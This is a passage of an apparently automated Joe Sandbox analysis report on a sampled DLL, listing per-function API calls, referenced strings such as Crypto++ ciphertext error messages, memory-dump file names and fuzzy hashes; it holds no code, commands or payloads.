Instruction Fuzzy Hash: 9D51B2B59042449FEF10DFA8C89979EBFB8BF16708F94447AE859D7240D371D940CB92

Function 68956D40 Relevance: 7.6, APIs: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

_rand.LIBCMT ref: 68956DEA

Part of subcall function 689A9E0C: __getptd.LIBCMT ref: 689A9E0C

std::exception::exception.LIBCMT ref: 68956E17
__CxxThrowException@8.LIBCMT ref: 68956E2C
std::exception::exception.LIBCMT ref: 68956E3B
__CxxThrowException@8.LIBCMT ref: 68956E50

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$__getptd_malloc_rand
String ID:
API String ID: 2791304714-0
Opcode ID: f8b5cbce0389235ec67c095671b30074e3e679c891f3cf25ea57f8ceaf98df4e
Instruction ID: 52300e2470fe3d40f7c33aa6b3c4cc019879d9a538b556c75479839003b46fdd
Opcode Fuzzy Hash: f8b5cbce0389235ec67c095671b30074e3e679c891f3cf25ea57f8ceaf98df4e
Instruction Fuzzy Hash: 053117B59007449FCB60CF68C880A9AFBF4FB18314F84896ED86A97B41D776E604CF61

Function 68957750 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,?,?), ref: 68957761
LeaveCriticalSection.KERNEL32(00000000,?), ref: 68957782
EnterCriticalSection.KERNEL32(00000018), ref: 68957796
LeaveCriticalSection.KERNEL32(00000018), ref: 689577CE
QueueUserWorkItem.KERNEL32(68971D50,00000000,00000010), ref: 6895780C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ItemQueueUserWork
String ID:
API String ID: 584243675-0
Opcode ID: 3da02ae85516136325a9ee3c65f446ab7e32472db06ade6d302ab003cbe40419
Instruction ID: 6e7a57061fbd804a1c8ca99247e8c9c37fe888518057cd587c3e0326cae7e0a4
Opcode Fuzzy Hash: 3da02ae85516136325a9ee3c65f446ab7e32472db06ade6d302ab003cbe40419
Instruction Fuzzy Hash: 3C21AE76545208AFCB10CF64D884AAFBBF8FB45704F80C869E9668B640D731E658CBA1

Function 68945AAC Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 68945ACB

Part of subcall function 689A9533: std::exception::_Copy_str.LIBCMT ref: 689A954E

__CxxThrowException@8.LIBCMT ref: 68945ABC

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

__CxxThrowException@8.LIBCMT ref: 68945AE0

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68945B18
__CxxThrowException@8.LIBCMT ref: 68945B2D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$std::exception::exception$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 921928366-0
Opcode ID: 8f88836abe50d849b76dd44f34443f3eb6dd9ce33507e24fd3b7baf25f667828
Instruction ID: 4bae71d60ed3143854f19dcdcde388aa160a0ba48610a190614b99af576e9d0a
Opcode Fuzzy Hash: 8f88836abe50d849b76dd44f34443f3eb6dd9ce33507e24fd3b7baf25f667828
Instruction Fuzzy Hash: 7A0144B9910608AFDB04DFA8DC559EF77FCAF64344F808159E819A7100EB71D604CBA6

Function 689AF03B Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 689AF047

Part of subcall function 689AEAE6: __getptd_noexit.LIBCMT ref: 689AEAE9
Part of subcall function 689AEAE6: __amsg_exit.LIBCMT ref: 689AEAF6

__amsg_exit.LIBCMT ref: 689AF067
__lock.LIBCMT ref: 689AF077
InterlockedDecrement.KERNEL32(?), ref: 689AF094
InterlockedIncrement.KERNEL32(05BE1668), ref: 689AF0BF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 88360762229057c9dcd2e6c5262ac9edbb3bbce633a8b68a45b2d77d8f5b2ba0
Instruction ID: ae1572c4dba66c49034fdb8dfde8f2d7c9f3a49cedbce1577af0ab5d9790bd2e
Opcode Fuzzy Hash: 88360762229057c9dcd2e6c5262ac9edbb3bbce633a8b68a45b2d77d8f5b2ba0
Instruction Fuzzy Hash: C101B535946A31EBDB11EF64848876E7BA4FF06B1DF804005E835A7684CBB4E881CFD5

Function 689AF7BC Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 689AF7C8

Part of subcall function 689AEAE6: __getptd_noexit.LIBCMT ref: 689AEAE9
Part of subcall function 689AEAE6: __amsg_exit.LIBCMT ref: 689AEAF6

__getptd.LIBCMT ref: 689AF7DF
__amsg_exit.LIBCMT ref: 689AF7ED
__lock.LIBCMT ref: 689AF7FD
__updatetlocinfoEx_nolock.LIBCMT ref: 689AF811

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 8d7d790940840f06313ca6c255468b6c07578b2197dd15e92436dd2c4dd0af74
Instruction ID: f28091192cfe328df05f203b6eb9770267c02a76051fc701b0eec56ccd588c91
Opcode Fuzzy Hash: 8d7d790940840f06313ca6c255468b6c07578b2197dd15e92436dd2c4dd0af74
Instruction Fuzzy Hash: F7F0E936945B109FEB61ABB8C405B6E37E0BF1172CFE04549E864A72C0DFB4D540CB95

Function 6898E6E0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 331COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 6898E76F
_memcpy_s.LIBCMT ref: 6898E78B

Strings

, xrefs: 6898E85A

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-3916222277
Opcode ID: b0e4ae4170e3dc207db4239b1041dc103faf4e7d804b5d325ca24d464df28e09
Instruction ID: 7ee2c85628d45ce70117b0378e3965846ef3960a46c5f20be37dd689d39cba51
Opcode Fuzzy Hash: b0e4ae4170e3dc207db4239b1041dc103faf4e7d804b5d325ca24d464df28e09
Instruction Fuzzy Hash: 83C149B56083028FD704CE28C8A4A6EB7E5FFC9318F844E2DE5A5C7250E775E949CB42

Function 689A8B60 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 689A8C40
_memset.LIBCMT ref: 689A8C56
_memmove.LIBCMT ref: 689A8DA8

Strings

EncodingParameters, xrefs: 689A8CD6

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memcpy_s_memmove_memset
String ID: EncodingParameters
API String ID: 4034675494-55378216
Opcode ID: ade84167cb16dc3bff6986748592f0546792c9b8ee61005950870809ca290d19
Instruction ID: 256dcca048ef9a96807ad8494cdc98ec0ce1b1ea8ee76187e7c0a4ea38afbda2
Opcode Fuzzy Hash: ade84167cb16dc3bff6986748592f0546792c9b8ee61005950870809ca290d19
Instruction Fuzzy Hash: 369199B46483819FD304CF28C880B2BBBE9AFDA708F54492DF89997351D771E945CB92

Function 68981200 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 6899D820: _memmove.LIBCMT ref: 6899D930

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 689813D4

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 68978D80: _malloc.LIBCMT ref: 68978D8A
Part of subcall function 68978D80: _malloc.LIBCMT ref: 68978DAF

Strings

: ciphertext length of , xrefs: 689812E4
for this key, xrefs: 68981348
doesn't match the required length of , xrefs: 68981316

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _malloc$ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: doesn't match the required length of $ for this key$: ciphertext length of
API String ID: 1025790555-2559040249
Opcode ID: 469f757ab14a8a7731551ca7c2e293c04fa0c1df5f317f4ba58c13ce274b6263
Instruction ID: ff16f327672fe74d8126d30b2eee05e5f3fa3e42722c1bad05668c673719a9bd
Opcode Fuzzy Hash: 469f757ab14a8a7731551ca7c2e293c04fa0c1df5f317f4ba58c13ce274b6263
Instruction Fuzzy Hash: 6BA14CB55083809FD324CB69D880BABB7E9AFD9308F444A1DE19983351DB70E905CBA3

Function 689AB47D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 689AB50D

Part of subcall function 689B1AA0: __87except.LIBCMT ref: 689B1ADB

Strings

pow, xrefs: 689AB4E5, 689AB502

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 5d85b4563bd38264e96eced5a7a301e44c0050b0b250fc5f11b9c60ccd8b639e
Instruction ID: fe21153d3ef81d82ae030c66b90c9aaf570d26c9adfe873c0483adb0a4ea2cf2
Opcode Fuzzy Hash: 5d85b4563bd38264e96eced5a7a301e44c0050b0b250fc5f11b9c60ccd8b639e
Instruction Fuzzy Hash: 20513C71E4C209D6C701AA18C95436F7BFCDB83B59FD08D68E4F542298EB36C8948A4A

Function 68958560 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 689588ED

Part of subcall function 689AA116: __mbstowcs_s_l.LIBCMT ref: 689AA12C

__cftoe.LIBCMT ref: 68958911

Strings

P, xrefs: 68958841
zX, xrefs: 6895865E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: __cftoe$__mbstowcs_s_l
String ID: zX$P
API String ID: 1494777130-2079734279
Opcode ID: cbab2d483bc9a83bbef52f307b85c3b50a283249fd9c9f17cb041faf9d17e498
Instruction ID: 34a9f1ec837fa466cf4cba0b86f282b0c5d1c490554fb6e3dd5a752fda0ab15c
Opcode Fuzzy Hash: cbab2d483bc9a83bbef52f307b85c3b50a283249fd9c9f17cb041faf9d17e498
Instruction Fuzzy Hash: D49101B11187819FC376CF14C884BAFBBE8BB88714F904A1DE19D5B280DB719645CF92

Function 689789D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68978ABB
__CxxThrowException@8.LIBCMT ref: 68978B82

Strings

: invalid ciphertext, xrefs: 68978B48
PK_DefaultDecryptionFilter: ciphertext too long, xrefs: 68978A8E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw
String ID: : invalid ciphertext$PK_DefaultDecryptionFilter: ciphertext too long
API String ID: 2005118841-483996327
Opcode ID: 00fe436a94d3a144b1589f0322114a837fb0a01c452a91ddcbbbe19eda03d270
Instruction ID: d6dfc147a234f49c2c64a7b4288a1f29962b4e624b8a1a818e44f4125c19f826
Opcode Fuzzy Hash: 00fe436a94d3a144b1589f0322114a837fb0a01c452a91ddcbbbe19eda03d270
Instruction Fuzzy Hash: 30512AB51047409FD334CF64C990EABB7E8EBD8708F408A1DE99A97641DB31E909CB66

Function 68990CE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 68990D84
_memset.LIBCMT ref: 68990DDF
_memset.LIBCMT ref: 68990E19

Strings

Aj?Q, xrefs: 68990DFA, 68990E21

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memset$Exception@8Throw
String ID: Aj?Q
API String ID: 1984186933-52356588
Opcode ID: a19f1ad3caa879b1e5641cf97e626ca20c8cbfd3862f662b349809f49c54c229
Instruction ID: 986ae95bc27048f7039760ca38966b34a0842b23127cf5408c5e87b9ec9dfa4b
Opcode Fuzzy Hash: a19f1ad3caa879b1e5641cf97e626ca20c8cbfd3862f662b349809f49c54c229
Instruction Fuzzy Hash: 0C518F756043059FDB14CF28C884B6BB3E9FF98718F888A2DE86587741EB74E9048B91

Function 68990600 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 68990663
_memset.LIBCMT ref: 689906E1
_memcpy_s.LIBCMT ref: 6899073B

Strings

Aj?Q, xrefs: 68990607

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memcpy_s$_memset
String ID: Aj?Q
API String ID: 834817721-52356588
Opcode ID: 9421b331fe0b739997188cf0d4348d7aac7240a3782b03e9462be969682954e6
Instruction ID: 2078f2e515bb8e9b7de1e3398a1eb43aeac188bab758bb40062a223d1d07c2f2
Opcode Fuzzy Hash: 9421b331fe0b739997188cf0d4348d7aac7240a3782b03e9462be969682954e6
Instruction Fuzzy Hash: 12517175A00601AFDB14CF18C894E6AB7AAFFC4314F19C61DE96687700DB30F955CB91

Function 68944E80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68944EFC
std::_Xinvalid_argument.LIBCPMT ref: 68944F16
_memmove.LIBCMT ref: 68944F6C

Part of subcall function 68944D90: std::_Xinvalid_argument.LIBCPMT ref: 68944DA9
Part of subcall function 68944D90: std::_Xinvalid_argument.LIBCPMT ref: 68944DCA
Part of subcall function 68944D90: std::_Xinvalid_argument.LIBCPMT ref: 68944DE5
Part of subcall function 68944D90: _memmove.LIBCMT ref: 68944E4D

Strings

string too long, xrefs: 68944EF7, 68944F11

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
